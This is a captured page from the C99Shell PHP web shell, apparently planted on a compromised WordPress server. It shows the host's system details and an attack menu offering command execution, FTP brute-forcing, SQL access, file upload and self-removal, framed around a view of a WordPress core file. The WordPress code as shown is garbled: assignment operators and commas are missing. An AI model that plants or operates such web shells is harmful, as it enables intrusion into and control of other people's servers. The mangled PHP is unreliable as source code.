!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dev/wp-includes/   drwxrwxr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wp-block-supports.php (5.17 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Block support flags.
 *
 * @package WordPress
 *
 * @since 5.6.0
 */

/**
 * Class encapsulating and implementing Block Supports.
 *
 * @since 5.6.0
 *
 * @access private
 */
class WP_Block_Supports {

    
/**
     * Config.
     *
     * @since 5.6.0
     * @var array
     */
    
private $block_supports = array();

    
/**
     * Tracks the current block to be rendered.
     *
     * @since 5.6.0
     * @var array
     */
    
public static $block_to_render null;

    
/**
     * Container for the main instance of the class.
     *
     * @since 5.6.0
     * @var WP_Block_Supports|null
     */
    
private static $instance null;

    
/**
     * Utility method to retrieve the main instance of the class.
     *
     * The instance will be created if it does not exist yet.
     *
     * @since 5.6.0
     *
     * @return WP_Block_Supports The main instance.
     */
    
public static function get_instance() {
        if ( 
null === self::$instance ) {
            
self::$instance = new self();
        }

        return 
self::$instance;
    }

    
/**
     * Initializes the block supports. It registers the block supports block attributes.
     *
     * @since 5.6.0
     */
    
public static function init() {
        
$instance self::get_instance();
        
$instance->register_attributes();
    }

    
/**
     * Registers a block support.
     *
     * @since 5.6.0
     *
     * @param string $block_support_name   Block support name.
     * @param array  $block_support_config Array containing the properties of the block support.
     */
    
public function register$block_support_name$block_support_config ) {
        
$this->block_supports$block_support_name ] = array_merge(
            
$block_support_config,
            array( 
'name' => $block_support_name )
        );
    }

    
/**
     * Generates an array of HTML attributes, such as classes, by applying to
     * the given block all of the features that the block supports.
     *
     * @since 5.6.0
     *
     * @return string[] Array of HTML attributes.
     */
    
public function apply_block_supports() {
        
$block_attributes self::$block_to_render['attrs'];
        
$block_type       WP_Block_Type_Registry::get_instance()->get_registered(
            
self::$block_to_render['blockName']
        );

        
// If no render_callback, assume styles have been previously handled.
        
if ( ! $block_type || empty( $block_type ) ) {
            return array();
        }

        
$output = array();
        foreach ( 
$this->block_supports as $block_support_config ) {
            if ( ! isset( 
$block_support_config['apply'] ) ) {
                continue;
            }

            
$new_attributes call_user_func(
                
$block_support_config['apply'],
                
$block_type,
                
$block_attributes
            
);

            if ( ! empty( 
$new_attributes ) ) {
                foreach ( 
$new_attributes as $attribute_name => $attribute_value ) {
                    if ( empty( 
$output$attribute_name ] ) ) {
                        
$output$attribute_name ] = $attribute_value;
                    } else {
                        
$output$attribute_name ] .= $attribute_value";
                    }
                }
            }
        }

        return 
$output;
    }

    
/**
     * Registers the block attributes required by the different block supports.
     *
     * @since 5.6.0
     */
    
private function register_attributes() {
        
$block_registry         WP_Block_Type_Registry::get_instance();
        
$registered_block_types $block_registry->get_all_registered();
        foreach ( 
$registered_block_types as $block_type ) {
            if ( ! 
property_exists$block_type'supports' ) ) {
                continue;
            }
            if ( ! 
$block_type->attributes ) {
                
$block_type->attributes = array();
            }

            foreach ( 
$this->block_supports as $block_support_config ) {
                if ( ! isset( 
$block_support_config['register_attribute'] ) ) {
                    continue;
                }

                
call_user_func(
                    
$block_support_config['register_attribute'],
                    
$block_type
                
);
            }
        }
    }
}

/**
 * Generates a string of attributes by applying to the current block being
 * rendered all of the features that the block supports.
 *
 * @since 5.6.0
 *
 * @param string[] $extra_attributes Optional. Array of extra attributes to render on the block wrapper.
 * @return string String of HTML attributes.
 */
function get_block_wrapper_attributes$extra_attributes = array() ) {
    
$new_attributes WP_Block_Supports::get_instance()->apply_block_supports();

    if ( empty( 
$new_attributes ) && empty( $extra_attributes ) ) {
        return 
'';
    }

    
// This is hardcoded on purpose.
    // We only support a fixed list of attributes.
    
$attributes_to_merge = array( 'style''class' );
    
$attributes          = array();
    foreach ( 
$attributes_to_merge as $attribute_name ) {
        if ( empty( 
$new_attributes$attribute_name ] ) && empty( $extra_attributes$attribute_name ] ) ) {
            continue;
        }

        if ( empty( 
$new_attributes$attribute_name ] ) ) {
            
$attributes$attribute_name ] = $extra_attributes$attribute_name ];
            continue;
        }

        if ( empty( 
$extra_attributes$attribute_name ] ) ) {
            
$attributes$attribute_name ] = $new_attributes$attribute_name ];
            continue;
        }

        
$attributes$attribute_name ] = $extra_attributes$attribute_name ] . ' ' $new_attributes$attribute_name ];
    }

    foreach ( 
$extra_attributes as $attribute_name => $value ) {
        if ( ! 
in_array$attribute_name$attributes_to_mergetrue ) ) {
            
$attributes$attribute_name ] = $value;
        }
    }

    if ( empty( 
$attributes ) ) {
        return 
'';
    }

    
$normalized_attributes = array();
    foreach ( 
$attributes as $key => $value ) {
        
$normalized_attributes[] = $key '="' esc_attr$value ) . '"';
    }

    return 
implode' '$normalized_attributes );
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0063 ]--